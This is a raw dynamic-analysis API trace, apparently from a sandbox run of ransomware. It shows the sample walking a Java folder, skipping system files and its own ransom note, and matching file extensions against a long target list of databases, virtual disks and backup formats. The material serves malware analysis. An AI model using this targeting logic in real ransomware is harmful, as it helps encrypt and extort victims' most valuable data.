	[0055.329] lstrcmpiW (lpString1="jqs", lpString2="..") returned 1
	[0055.329] lstrcmpiW (lpString1="jqs", lpString2="windows") returned -1
	[0055.329] lstrcmpiW (lpString1="jqs", lpString2="bootmgr") returned 1
	[0055.329] lstrcmpiW (lpString1="jqs", lpString2="temp") returned -1
	[0055.329] lstrcmpiW (lpString1="jqs", lpString2="pagefile.sys") returned -1
	[0055.329] lstrcmpiW (lpString1="jqs", lpString2="boot") returned 1
	[0055.329] lstrcmpiW (lpString1="jqs", lpString2="ids.txt") returned 1
	[0055.329] lstrcmpiW (lpString1="jqs", lpString2="ntuser.dat") returned -1
	[0055.329] lstrcmpiW (lpString1="jqs", lpString2="perflogs") returned -1
	[0055.329] lstrcmpiW (lpString1="jqs", lpString2="MSBuild") returned -1
	[0055.329] lstrlenW (lpString="jqs") returned 3
	[0055.329] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip") returned 55
	[0055.329] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="jqs" | out: lpString1="jqs") returned="jqs"
	[0055.329] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0055.329] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c55f8
	[0055.329] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0055.329] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="messages.properties", cAlternateFileName="MESSAG~1.PRO")) returned 1
	[0055.329] lstrcmpiW (lpString1="messages.properties", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.329] lstrcmpiW (lpString1="messages.properties", lpString2="Apollon865.txt.exe") returned 1
	[0055.329] lstrcmpiW (lpString1="messages.properties", lpString2=".") returned 1
	[0055.329] lstrcmpiW (lpString1="messages.properties", lpString2="..") returned 1
	[0055.329] lstrcmpiW (lpString1="messages.properties", lpString2="windows") returned -1
	[0055.329] lstrcmpiW (lpString1="messages.properties", lpString2="bootmgr") returned 1
	[0055.329] lstrcmpiW (lpString1="messages.properties", lpString2="temp") returned -1
	[0055.329] lstrcmpiW (lpString1="messages.properties", lpString2="pagefile.sys") returned -1
	[0055.330] lstrcmpiW (lpString1="messages.properties", lpString2="boot") returned 1
	[0055.330] lstrcmpiW (lpString1="messages.properties", lpString2="ids.txt") returned 1
	[0055.330] lstrcmpiW (lpString1="messages.properties", lpString2="ntuser.dat") returned -1
	[0055.330] lstrcmpiW (lpString1="messages.properties", lpString2="perflogs") returned -1
	[0055.330] lstrcmpiW (lpString1="messages.properties", lpString2="MSBuild") returned -1
	[0055.330] lstrlenW (lpString="messages.properties") returned 19
	[0055.330] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs") returned 47
	[0055.330] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="messages.properties" | out: lpString1="messages.properties") returned="messages.properties"
	[0055.330] lstrlenW (lpString="messages.properties") returned 19
	[0055.330] lstrlenW (lpString="Apollon865") returned 10
	[0055.330] lstrcmpiW (lpString1="properties", lpString2="Apollon865") returned 1
	[0055.330] lstrlenW (lpString=".dll") returned 4
	[0055.330] lstrcmpiW (lpString1="messages.properties", lpString2=".dll") returned 1
	[0055.330] lstrlenW (lpString=".lnk") returned 4
	[0055.330] lstrcmpiW (lpString1="messages.properties", lpString2=".lnk") returned 1
	[0055.330] lstrlenW (lpString=".ini") returned 4
	[0055.330] lstrcmpiW (lpString1="messages.properties", lpString2=".ini") returned 1
	[0055.330] lstrlenW (lpString=".sys") returned 4
	[0055.330] lstrcmpiW (lpString1="messages.properties", lpString2=".sys") returned 1
	[0055.330] lstrlenW (lpString="messages.properties") returned 19
	[0055.330] lstrlenW (lpString="bak") returned 3
	[0055.330] lstrcmpiW (lpString1="ies", lpString2="bak") returned 1
	[0055.330] lstrlenW (lpString="ba_") returned 3
	[0055.330] lstrcmpiW (lpString1="ies", lpString2="ba_") returned 1
	[0055.330] lstrlenW (lpString="dbb") returned 3
	[0055.330] lstrcmpiW (lpString1="ies", lpString2="dbb") returned 1
	[0055.330] lstrlenW (lpString="vmdk") returned 4
	[0055.330] lstrcmpiW (lpString1="ties", lpString2="vmdk") returned -1
	[0055.330] lstrlenW (lpString="rar") returned 3
	[0055.330] lstrcmpiW (lpString1="ies", lpString2="rar") returned -1
	[0055.330] lstrlenW (lpString="zip") returned 3
	[0055.330] lstrcmpiW (lpString1="ies", lpString2="zip") returned -1
	[0055.330] lstrlenW (lpString="tgz") returned 3
	[0055.330] lstrcmpiW (lpString1="ies", lpString2="tgz") returned -1
	[0055.331] lstrlenW (lpString="vbox") returned 4
	[0055.331] lstrcmpiW (lpString1="ties", lpString2="vbox") returned -1
	[0055.331] lstrlenW (lpString="vdi") returned 3
	[0055.331] lstrcmpiW (lpString1="ies", lpString2="vdi") returned -1
	[0055.331] lstrlenW (lpString="vhd") returned 3
	[0055.331] lstrcmpiW (lpString1="ies", lpString2="vhd") returned -1
	[0055.331] lstrlenW (lpString="vhdx") returned 4
	[0055.331] lstrcmpiW (lpString1="ties", lpString2="vhdx") returned -1
	[0055.331] lstrlenW (lpString="avhd") returned 4
	[0055.331] lstrcmpiW (lpString1="ties", lpString2="avhd") returned 1
	[0055.331] lstrlenW (lpString="db") returned 2
	[0055.331] lstrcmpiW (lpString1="es", lpString2="db") returned 1
	[0055.331] lstrlenW (lpString="db2") returned 3
	[0055.331] lstrcmpiW (lpString1="ies", lpString2="db2") returned 1
	[0055.331] lstrlenW (lpString="db3") returned 3
	[0055.331] lstrcmpiW (lpString1="ies", lpString2="db3") returned 1
	[0055.331] lstrlenW (lpString="dbf") returned 3
	[0055.331] lstrcmpiW (lpString1="ies", lpString2="dbf") returned 1
	[0055.331] lstrlenW (lpString="mdf") returned 3
	[0055.331] lstrcmpiW (lpString1="ies", lpString2="mdf") returned -1
	[0055.331] lstrlenW (lpString="mdb") returned 3
	[0055.331] lstrcmpiW (lpString1="ies", lpString2="mdb") returned -1
	[0055.331] lstrlenW (lpString="sql") returned 3
	[0055.331] lstrcmpiW (lpString1="ies", lpString2="sql") returned -1
	[0055.331] lstrlenW (lpString="sqlite") returned 6
	[0055.331] lstrcmpiW (lpString1="erties", lpString2="sqlite") returned -1
	[0055.331] lstrlenW (lpString="sqlite3") returned 7
	[0055.331] lstrcmpiW (lpString1="perties", lpString2="sqlite3") returned -1
	[0055.331] lstrlenW (lpString="sqlitedb") returned 8
	[0055.331] lstrcmpiW (lpString1="operties", lpString2="sqlitedb") returned -1
	[0055.331] lstrlenW (lpString="xml") returned 3
	[0055.331] lstrcmpiW (lpString1="ies", lpString2="xml") returned -1
	[0055.331] lstrlenW (lpString="$er") returned 3
	[0055.331] lstrcmpiW (lpString1="ies", lpString2="$er") returned 1
	[0055.332] lstrlenW (lpString="4dd") returned 3
	[0055.332] lstrcmpiW (lpString1="ies", lpString2="4dd") returned 1
	[0055.332] lstrlenW (lpString="4dl") returned 3
	[0055.332] lstrcmpiW (lpString1="ies", lpString2="4dl") returned 1
	[0055.332] lstrlenW (lpString="^^^") returned 3
	[0055.332] lstrcmpiW (lpString1="ies", lpString2="^^^") returned 1
	[0055.332] lstrlenW (lpString="abs") returned 3
	[0055.332] lstrcmpiW (lpString1="ies", lpString2="abs") returned 1
	[0055.332] lstrlenW (lpString="abx") returned 3
	[0055.332] lstrcmpiW (lpString1="ies", lpString2="abx") returned 1
	[0055.332] lstrlenW (lpString="accdb") returned 5
	[0055.332] lstrcmpiW (lpString1="rties", lpString2="accdb") returned 1
	[0055.332] lstrlenW (lpString="accdc") returned 5
	[0055.332] lstrcmpiW (lpString1="rties", lpString2="accdc") returned 1
	[0055.332] lstrlenW (lpString="accde") returned 5
	[0055.332] lstrcmpiW (lpString1="rties", lpString2="accde") returned 1
	[0055.332] lstrlenW (lpString="accdr") returned 5
	[0055.332] lstrcmpiW (lpString1="rties", lpString2="accdr") returned 1
	[0055.332] lstrlenW (lpString="accdt") returned 5
	[0055.332] lstrcmpiW (lpString1="rties", lpString2="accdt") returned 1
	[0055.332] lstrlenW (lpString="accdw") returned 5
	[0055.332] lstrcmpiW (lpString1="rties", lpString2="accdw") returned 1
	[0055.332] lstrlenW (lpString="accft") returned 5
	[0055.332] lstrcmpiW (lpString1="rties", lpString2="accft") returned 1
	[0055.332] lstrlenW (lpString="adb") returned 3
	[0055.332] lstrcmpiW (lpString1="ies", lpString2="adb") returned 1
	[0055.332] lstrlenW (lpString="adb") returned 3
	[0055.332] lstrcmpiW (lpString1="ies", lpString2="adb") returned 1
	[0055.332] lstrlenW (lpString="ade") returned 3
	[0055.332] lstrcmpiW (lpString1="ies", lpString2="ade") returned 1
	[0055.332] lstrlenW (lpString="adf") returned 3
	[0055.332] lstrcmpiW (lpString1="ies", lpString2="adf") returned 1
	[0055.332] lstrlenW (lpString="adn") returned 3
	[0055.332] lstrcmpiW (lpString1="ies", lpString2="adn") returned 1
	[0055.332] lstrlenW (lpString="adp") returned 3
	[0055.332] lstrcmpiW (lpString1="ies", lpString2="adp") returned 1
	[0055.333] lstrlenW (lpString="alf") returned 3
	[0055.333] lstrcmpiW (lpString1="ies", lpString2="alf") returned 1
	[0055.333] lstrlenW (lpString="ask") returned 3
	[0055.333] lstrcmpiW (lpString1="ies", lpString2="ask") returned 1
	[0055.333] lstrlenW (lpString="btr") returned 3
	[0055.333] lstrcmpiW (lpString1="ies", lpString2="btr") returned 1
	[0055.333] lstrlenW (lpString="cat") returned 3
	[0055.333] lstrcmpiW (lpString1="ies", lpString2="cat") returned 1
	[0055.333] lstrlenW (lpString="cdb") returned 3
	[0055.333] lstrcmpiW (lpString1="ies", lpString2="cdb") returned 1
	[0055.333] lstrlenW (lpString="ckp") returned 3
	[0055.333] lstrcmpiW (lpString1="ies", lpString2="ckp") returned 1
	[0055.333] lstrlenW (lpString="cma") returned 3
	[0055.333] lstrcmpiW (lpString1="ies", lpString2="cma") returned 1
	[0055.333] lstrlenW (lpString="cpd") returned 3
	[0055.333] lstrcmpiW (lpString1="ies", lpString2="cpd") returned 1
	[0055.333] lstrlenW (lpString="dacpac") returned 6
	[0055.333] lstrcmpiW (lpString1="erties", lpString2="dacpac") returned 1
	[0055.333] lstrlenW (lpString="dad") returned 3
	[0055.333] lstrcmpiW (lpString1="ies", lpString2="dad") returned 1
	[0055.333] lstrlenW (lpString="dadiagrams") returned 10
	[0055.333] lstrcmpiW (lpString1="properties", lpString2="dadiagrams") returned 1
	[0055.333] lstrlenW (lpString="daschema") returned 8
	[0055.333] lstrcmpiW (lpString1="operties", lpString2="daschema") returned 1
	[0055.333] lstrlenW (lpString="db-journal") returned 10
	[0055.333] lstrcmpiW (lpString1="properties", lpString2="db-journal") returned 1
	[0055.333] lstrlenW (lpString="db-shm") returned 6
	[0055.333] lstrcmpiW (lpString1="erties", lpString2="db-shm") returned 1
	[0055.333] lstrlenW (lpString="db-wal") returned 6
	[0055.333] lstrcmpiW (lpString1="erties", lpString2="db-wal") returned 1
	[0055.333] lstrlenW (lpString="dbc") returned 3
	[0055.333] lstrcmpiW (lpString1="ies", lpString2="dbc") returned 1
	[0055.333] lstrlenW (lpString="dbs") returned 3
	[0055.334] lstrcmpiW (lpString1="ies", lpString2="dbs") returned 1
	[0055.334] lstrlenW (lpString="dbt") returned 3
	[0055.334] lstrcmpiW (lpString1="ies", lpString2="dbt") returned 1
	[0055.334] lstrlenW (lpString="dbv") returned 3
	[0055.334] lstrcmpiW (lpString1="ies", lpString2="dbv") returned 1
	[0055.334] lstrlenW (lpString="dbx") returned 3
	[0055.334] lstrcmpiW (lpString1="ies", lpString2="dbx") returned 1
	[0055.334] lstrlenW (lpString="dcb") returned 3
	[0055.334] lstrcmpiW (lpString1="ies", lpString2="dcb") returned 1
	[0055.334] lstrlenW (lpString="dct") returned 3
	[0055.334] lstrcmpiW (lpString1="ies", lpString2="dct") returned 1
	[0055.334] lstrlenW (lpString="dcx") returned 3
	[0055.334] lstrcmpiW (lpString1="ies", lpString2="dcx") returned 1
	[0055.334] lstrlenW (lpString="ddl") returned 3
	[0055.334] lstrcmpiW (lpString1="ies", lpString2="ddl") returned 1
	[0055.334] lstrlenW (lpString="dlis") returned 4
	[0055.334] lstrcmpiW (lpString1="ties", lpString2="dlis") returned 1
	[0055.334] lstrlenW (lpString="dp1") returned 3
	[0055.334] lstrcmpiW (lpString1="ies", lpString2="dp1") returned 1
	[0055.334] lstrlenW (lpString="dqy") returned 3
	[0055.334] lstrcmpiW (lpString1="ies", lpString2="dqy") returned 1
	[0055.334] lstrlenW (lpString="dsk") returned 3
	[0055.334] lstrcmpiW (lpString1="ies", lpString2="dsk") returned 1
	[0055.334] lstrlenW (lpString="dsn") returned 3
	[0055.334] lstrcmpiW (lpString1="ies", lpString2="dsn") returned 1
	[0055.334] lstrlenW (lpString="dtsx") returned 4
	[0055.334] lstrcmpiW (lpString1="ties", lpString2="dtsx") returned 1
	[0055.334] lstrlenW (lpString="dxl") returned 3
	[0055.335] lstrcmpiW (lpString1="ies", lpString2="dxl") returned 1
	[0055.335] lstrlenW (lpString="eco") returned 3
	[0055.335] lstrcmpiW (lpString1="ies", lpString2="eco") returned 1
	[0055.335] lstrlenW (lpString="ecx") returned 3
	[0055.335] lstrcmpiW (lpString1="ies", lpString2="ecx") returned 1
	[0055.335] lstrlenW (lpString="edb") returned 3
	[0055.335] lstrcmpiW (lpString1="ies", lpString2="edb") returned 1
	[0055.335] lstrlenW (lpString="epim") returned 4
	[0055.335] lstrcmpiW (lpString1="ties", lpString2="epim") returned 1
	[0055.335] lstrlenW (lpString="fcd") returned 3
	[0055.335] lstrcmpiW (lpString1="ies", lpString2="fcd") returned 1
	[0055.335] lstrlenW (lpString="fdb") returned 3
	[0055.335] lstrcmpiW (lpString1="ies", lpString2="fdb") returned 1
	[0055.335] lstrlenW (lpString="fic") returned 3
	[0055.335] lstrcmpiW (lpString1="ies", lpString2="fic") returned 1
	[0055.335] lstrlenW (lpString="flexolibrary") returned 12
	[0055.335] lstrcmpiW (lpString1="s.properties", lpString2="flexolibrary") returned 1
	[0055.335] lstrlenW (lpString="fm5") returned 3
	[0055.335] lstrcmpiW (lpString1="ies", lpString2="fm5") returned 1
	[0055.335] lstrlenW (lpString="fmp") returned 3
	[0055.335] lstrcmpiW (lpString1="ies", lpString2="fmp") returned 1
	[0055.335] lstrlenW (lpString="fmp12") returned 5
	[0055.335] lstrcmpiW (lpString1="rties", lpString2="fmp12") returned 1
	[0055.335] lstrlenW (lpString="fmpsl") returned 5
	[0055.335] lstrcmpiW (lpString1="rties", lpString2="fmpsl") returned 1
	[0055.335] lstrlenW (lpString="fol") returned 3
	[0055.335] lstrcmpiW (lpString1="ies", lpString2="fol") returned 1
	[0055.335] lstrlenW (lpString="fp3") returned 3
	[0055.335] lstrcmpiW (lpString1="ies", lpString2="fp3") returned 1
	[0055.335] lstrlenW (lpString="fp4") returned 3
	[0055.335] lstrcmpiW (lpString1="ies", lpString2="fp4") returned 1
	[0055.335] lstrlenW (lpString="fp5") returned 3
	[0055.335] lstrcmpiW (lpString1="ies", lpString2="fp5") returned 1
	[0055.335] lstrlenW (lpString="fp7") returned 3
	[0055.335] lstrcmpiW (lpString1="ies", lpString2="fp7") returned 1
	[0055.335] lstrlenW (lpString="fpt") returned 3
	[0055.336] lstrcmpiW (lpString1="ies", lpString2="fpt") returned 1
	[0055.336] lstrlenW (lpString="frm") returned 3
	[0055.336] lstrcmpiW (lpString1="ies", lpString2="frm") returned 1
	[0055.336] lstrlenW (lpString="gdb") returned 3
	[0055.336] lstrcmpiW (lpString1="ies", lpString2="gdb") returned 1
	[0055.336] lstrlenW (lpString="gdb") returned 3
	[0055.336] lstrcmpiW (lpString1="ies", lpString2="gdb") returned 1
	[0055.336] lstrlenW (lpString="grdb") returned 4
	[0055.336] lstrcmpiW (lpString1="ties", lpString2="grdb") returned 1
	[0055.336] lstrlenW (lpString="gwi") returned 3
	[0055.336] lstrcmpiW (lpString1="ies", lpString2="gwi") returned 1
	[0055.336] lstrlenW (lpString="hdb") returned 3
	[0055.336] lstrcmpiW (lpString1="ies", lpString2="hdb") returned 1
	[0055.336] lstrlenW (lpString="his") returned 3
	[0055.336] lstrcmpiW (lpString1="ies", lpString2="his") returned 1
	[0055.336] lstrlenW (lpString="ib") returned 2
	[0055.336] lstrcmpiW (lpString1="es", lpString2="ib") returned -1
	[0055.336] lstrlenW (lpString="idb") returned 3
	[0055.336] lstrcmpiW (lpString1="ies", lpString2="idb") returned 1
	[0055.336] lstrlenW (lpString="ihx") returned 3
	[0055.336] lstrcmpiW (lpString1="ies", lpString2="ihx") returned -1
	[0055.336] lstrlenW (lpString="itdb") returned 4
	[0055.336] lstrcmpiW (lpString1="ties", lpString2="itdb") returned 1
	[0055.336] lstrlenW (lpString="itw") returned 3
	[0055.336] lstrcmpiW (lpString1="ies", lpString2="itw") returned -1
	[0055.336] lstrlenW (lpString="jet") returned 3
	[0055.336] lstrcmpiW (lpString1="ies", lpString2="jet") returned -1
	[0055.336] lstrlenW (lpString="jtx") returned 3
	[0055.336] lstrcmpiW (lpString1="ies", lpString2="jtx") returned -1
	[0055.336] lstrlenW (lpString="kdb") returned 3
	[0055.336] lstrcmpiW (lpString1="ies", lpString2="kdb") returned -1
	[0055.336] lstrlenW (lpString="kexi") returned 4
	[0055.336] lstrcmpiW (lpString1="ties", lpString2="kexi") returned 1
	[0055.336] lstrlenW (lpString="kexic") returned 5
	[0055.336] lstrcmpiW (lpString1="rties", lpString2="kexic") returned 1
	[0055.337] lstrlenW (lpString="kexis") returned 5
	[0055.337] lstrcmpiW (lpString1="rties", lpString2="kexis") returned 1
	[0055.337] lstrlenW (lpString="lgc") returned 3
	[0055.337] lstrcmpiW (lpString1="ies", lpString2="lgc") returned -1
	[0055.337] lstrlenW (lpString="lwx") returned 3
	[0055.337] lstrcmpiW (lpString1="ies", lpString2="lwx") returned -1
	[0055.337] lstrlenW (lpString="maf") returned 3
	[0055.337] lstrcmpiW (lpString1="ies", lpString2="maf") returned -1
	[0055.337] lstrlenW (lpString="maq") returned 3
	[0055.337] lstrcmpiW (lpString1="ies", lpString2="maq") returned -1
	[0055.337] lstrlenW (lpString="mar") returned 3
	[0055.337] lstrcmpiW (lpString1="ies", lpString2="mar") returned -1
	[0055.337] lstrlenW (lpString="marshal") returned 7
	[0055.337] lstrcmpiW (lpString1="perties", lpString2="marshal") returned 1
	[0055.337] lstrlenW (lpString="mas") returned 3
	[0055.337] lstrcmpiW (lpString1="ies", lpString2="mas") returned -1
	[0055.337] lstrlenW (lpString="mav") returned 3
	[0055.337] lstrcmpiW (lpString1="ies", lpString2="mav") returned -1
	[0055.337] lstrlenW (lpString="maw") returned 3
	[0055.337] lstrcmpiW (lpString1="ies", lpString2="maw") returned -1
	[0055.337] lstrlenW (lpString="mdbhtml") returned 7
	[0055.337] lstrcmpiW (lpString1="perties", lpString2="mdbhtml") returned 1
	[0055.337] lstrlenW (lpString="mdn") returned 3
	[0055.337] lstrcmpiW (lpString1="ies", lpString2="mdn") returned -1
	[0055.337] lstrlenW (lpString="mdt") returned 3
	[0055.337] lstrcmpiW (lpString1="ies", lpString2="mdt") returned -1
	[0055.337] lstrlenW (lpString="mfd") returned 3
	[0055.337] lstrcmpiW (lpString1="ies", lpString2="mfd") returned -1
	[0055.337] lstrlenW (lpString="mpd") returned 3
	[0055.337] lstrcmpiW (lpString1="ies", lpString2="mpd") returned -1
	[0055.337] lstrlenW (lpString="mrg") returned 3
	[0055.337] lstrcmpiW (lpString1="ies", lpString2="mrg") returned -1
	[0055.337] lstrlenW (lpString="mud") returned 3
	[0055.337] lstrcmpiW (lpString1="ies", lpString2="mud") returned -1
	[0055.337] lstrlenW (lpString="mwb") returned 3
	[0055.338] lstrcmpiW (lpString1="ies", lpString2="mwb") returned -1
	[0055.338] lstrlenW (lpString="myd") returned 3
	[0055.338] lstrcmpiW (lpString1="ies", lpString2="myd") returned -1
	[0055.338] lstrlenW (lpString="ndf") returned 3
	[0055.338] lstrcmpiW (lpString1="ies", lpString2="ndf") returned -1
	[0055.338] lstrlenW (lpString="nnt") returned 3
	[0055.338] lstrcmpiW (lpString1="ies", lpString2="nnt") returned -1
	[0055.338] lstrlenW (lpString="nrmlib") returned 6
	[0055.338] lstrcmpiW (lpString1="erties", lpString2="nrmlib") returned -1
	[0055.338] lstrlenW (lpString="ns2") returned 3
	[0055.338] lstrcmpiW (lpString1="ies", lpString2="ns2") returned -1
	[0055.338] lstrlenW (lpString="ns3") returned 3
	[0055.338] lstrcmpiW (lpString1="ies", lpString2="ns3") returned -1
	[0055.338] lstrlenW (lpString="ns4") returned 3
	[0055.338] lstrcmpiW (lpString1="ies", lpString2="ns4") returned -1
	[0055.338] lstrlenW (lpString="nsf") returned 3
	[0055.338] lstrcmpiW (lpString1="ies", lpString2="nsf") returned -1
	[0055.338] lstrlenW (lpString="nv") returned 2
	[0055.338] lstrcmpiW (lpString1="es", lpString2="nv") returned -1
	[0055.338] lstrlenW (lpString="nv2") returned 3
	[0055.338] lstrcmpiW (lpString1="ies", lpString2="nv2") returned -1
	[0055.338] lstrlenW (lpString="nwdb") returned 4
	[0055.338] lstrcmpiW (lpString1="ties", lpString2="nwdb") returned 1
	[0055.338] lstrlenW (lpString="nyf") returned 3
	[0055.338] lstrcmpiW (lpString1="ies", lpString2="nyf") returned -1
	[0055.338] lstrlenW (lpString="odb") returned 3
	[0055.338] lstrcmpiW (lpString1="ies", lpString2="odb") returned -1
	[0055.338] lstrlenW (lpString="odb") returned 3
	[0055.338] lstrcmpiW (lpString1="ies", lpString2="odb") returned -1
	[0055.338] lstrlenW (lpString="oqy") returned 3
	[0055.338] lstrcmpiW (lpString1="ies", lpString2="oqy") returned -1
	[0055.338] lstrlenW (lpString="ora") returned 3
	[0055.338] lstrcmpiW (lpString1="ies", lpString2="ora") returned -1
	[0055.338] lstrlenW (lpString="orx") returned 3
	[0055.338] lstrcmpiW (lpString1="ies", lpString2="orx") returned -1
	[0055.339] lstrlenW (lpString="owc") returned 3
	[0055.339] lstrcmpiW (lpString1="ies", lpString2="owc") returned -1
	[0055.339] lstrlenW (lpString="p96") returned 3
	[0055.339] lstrcmpiW (lpString1="ies", lpString2="p96") returned -1
	[0055.339] lstrlenW (lpString="p97") returned 3
	[0055.339] lstrcmpiW (lpString1="ies", lpString2="p97") returned -1
	[0055.339] lstrlenW (lpString="pan") returned 3
	[0055.339] lstrcmpiW (lpString1="ies", lpString2="pan") returned -1
	[0055.339] lstrlenW (lpString="pdb") returned 3
	[0055.339] lstrcmpiW (lpString1="ies", lpString2="pdb") returned -1
	[0055.339] lstrlenW (lpString="pdm") returned 3
	[0055.339] lstrcmpiW (lpString1="ies", lpString2="pdm") returned -1
	[0055.339] lstrlenW (lpString="pnz") returned 3
	[0055.339] lstrcmpiW (lpString1="ies", lpString2="pnz") returned -1
	[0055.339] lstrlenW (lpString="qry") returned 3
	[0055.339] lstrcmpiW (lpString1="ies", lpString2="qry") returned -1
	[0055.339] lstrlenW (lpString="qvd") returned 3
	[0055.339] lstrcmpiW (lpString1="ies", lpString2="qvd") returned -1
	[0055.339] lstrlenW (lpString="rbf") returned 3
	[0055.339] lstrcmpiW (lpString1="ies", lpString2="rbf") returned -1
	[0055.339] lstrlenW (lpString="rctd") returned 4
	[0055.339] lstrcmpiW (lpString1="ties", lpString2="rctd") returned 1
	[0055.339] lstrlenW (lpString="rod") returned 3
	[0055.339] lstrcmpiW (lpString1="ies", lpString2="rod") returned -1
	[0055.339] lstrlenW (lpString="rodx") returned 4
	[0055.339] lstrcmpiW (lpString1="ties", lpString2="rodx") returned 1
	[0055.339] lstrlenW (lpString="rpd") returned 3
	[0055.339] lstrcmpiW (lpString1="ies", lpString2="rpd") returned -1
	[0055.339] lstrlenW (lpString="rsd") returned 3
	[0055.339] lstrcmpiW (lpString1="ies", lpString2="rsd") returned -1
	[0055.339] lstrlenW (lpString="sas7bdat") returned 8
	[0055.339] lstrcmpiW (lpString1="operties", lpString2="sas7bdat") returned -1
	[0055.339] lstrlenW (lpString="sbf") returned 3
	[0055.339] lstrcmpiW (lpString1="ies", lpString2="sbf") returned -1
	[0055.339] lstrlenW (lpString="scx") returned 3
	[0055.340] lstrcmpiW (lpString1="ies", lpString2="scx") returned -1
	[0055.340] lstrlenW (lpString="sdb") returned 3
	[0055.340] lstrcmpiW (lpString1="ies", lpString2="sdb") returned -1
	[0055.340] lstrlenW (lpString="sdc") returned 3
	[0055.340] lstrcmpiW (lpString1="ies", lpString2="sdc") returned -1
	[0055.340] lstrlenW (lpString="sdf") returned 3
	[0055.340] lstrcmpiW (lpString1="ies", lpString2="sdf") returned -1
	[0055.340] lstrlenW (lpString="sis") returned 3
	[0055.340] lstrcmpiW (lpString1="ies", lpString2="sis") returned -1
	[0055.340] lstrlenW (lpString="spq") returned 3
	[0055.340] lstrcmpiW (lpString1="ies", lpString2="spq") returned -1
	[0055.340] lstrlenW (lpString="te") returned 2
	[0055.340] lstrcmpiW (lpString1="es", lpString2="te") returned -1
	[0055.340] lstrlenW (lpString="teacher") returned 7
	[0055.340] lstrcmpiW (lpString1="perties", lpString2="teacher") returned -1
	[0055.340] lstrlenW (lpString="tmd") returned 3
	[0055.340] lstrcmpiW (lpString1="ies", lpString2="tmd") returned -1
	[0055.340] lstrlenW (lpString="tps") returned 3
	[0055.340] lstrcmpiW (lpString1="ies", lpString2="tps") returned -1
	[0055.340] lstrlenW (lpString="trc") returned 3
	[0055.340] lstrcmpiW (lpString1="ies", lpString2="trc") returned -1
	[0055.340] lstrlenW (lpString="trc") returned 3
	[0055.340] lstrcmpiW (lpString1="ies", lpString2="trc") returned -1
	[0055.340] lstrlenW (lpString="trm") returned 3
	[0055.340] lstrcmpiW (lpString1="ies", lpString2="trm") returned -1
	[0055.340] lstrlenW (lpString="udb") returned 3
	[0055.340] lstrcmpiW (lpString1="ies", lpString2="udb") returned -1
	[0055.340] lstrlenW (lpString="udl") returned 3
	[0055.340] lstrcmpiW (lpString1="ies", lpString2="udl") returned -1
	[0055.340] lstrlenW (lpString="usr") returned 3
	[0055.340] lstrcmpiW (lpString1="ies", lpString2="usr") returned -1
	[0055.340] lstrlenW (lpString="v12") returned 3
	[0055.340] lstrcmpiW (lpString1="ies", lpString2="v12") returned -1
	[0055.340] lstrlenW (lpString="vis") returned 3
	[0055.340] lstrcmpiW (lpString1="ies", lpString2="vis") returned -1
	[0055.340] lstrlenW (lpString="vpd") returned 3
	[0055.341] lstrcmpiW (lpString1="ies", lpString2="vpd") returned -1
	[0055.341] lstrlenW (lpString="vvv") returned 3
	[0055.341] lstrcmpiW (lpString1="ies", lpString2="vvv") returned -1
	[0055.341] lstrlenW (lpString="wdb") returned 3
	[0055.341] lstrcmpiW (lpString1="ies", lpString2="wdb") returned -1
	[0055.341] lstrlenW (lpString="wmdb") returned 4
	[0055.341] lstrcmpiW (lpString1="ties", lpString2="wmdb") returned -1
	[0055.341] lstrlenW (lpString="wrk") returned 3
	[0055.341] lstrcmpiW (lpString1="ies", lpString2="wrk") returned -1
	[0055.341] lstrlenW (lpString="xdb") returned 3
	[0055.341] lstrcmpiW (lpString1="ies", lpString2="xdb") returned -1
	[0055.341] lstrlenW (lpString="xld") returned 3
	[0055.341] lstrcmpiW (lpString1="ies", lpString2="xld") returned -1
	[0055.341] lstrlenW (lpString="xmlff") returned 5
	[0055.341] lstrcmpiW (lpString1="rties", lpString2="xmlff") returned -1
	[0055.341] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="messages_de.properties", cAlternateFileName="MESSAG~2.PRO")) returned 1
	[0055.341] lstrcmpiW (lpString1="messages_de.properties", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.341] lstrcmpiW (lpString1="messages_de.properties", lpString2="Apollon865.txt.exe") returned 1
	[0055.341] lstrcmpiW (lpString1="messages_de.properties", lpString2=".") returned 1
	[0055.341] lstrcmpiW (lpString1="messages_de.properties", lpString2="..") returned 1
	[0055.341] lstrcmpiW (lpString1="messages_de.properties", lpString2="windows") returned -1
	[0055.341] lstrcmpiW (lpString1="messages_de.properties", lpString2="bootmgr") returned 1
	[0055.341] lstrcmpiW (lpString1="messages_de.properties", lpString2="temp") returned -1
	[0055.341] lstrcmpiW (lpString1="messages_de.properties", lpString2="pagefile.sys") returned -1
	[0055.341] lstrcmpiW (lpString1="messages_de.properties", lpString2="boot") returned 1
	[0055.341] lstrcmpiW (lpString1="messages_de.properties", lpString2="ids.txt") returned 1
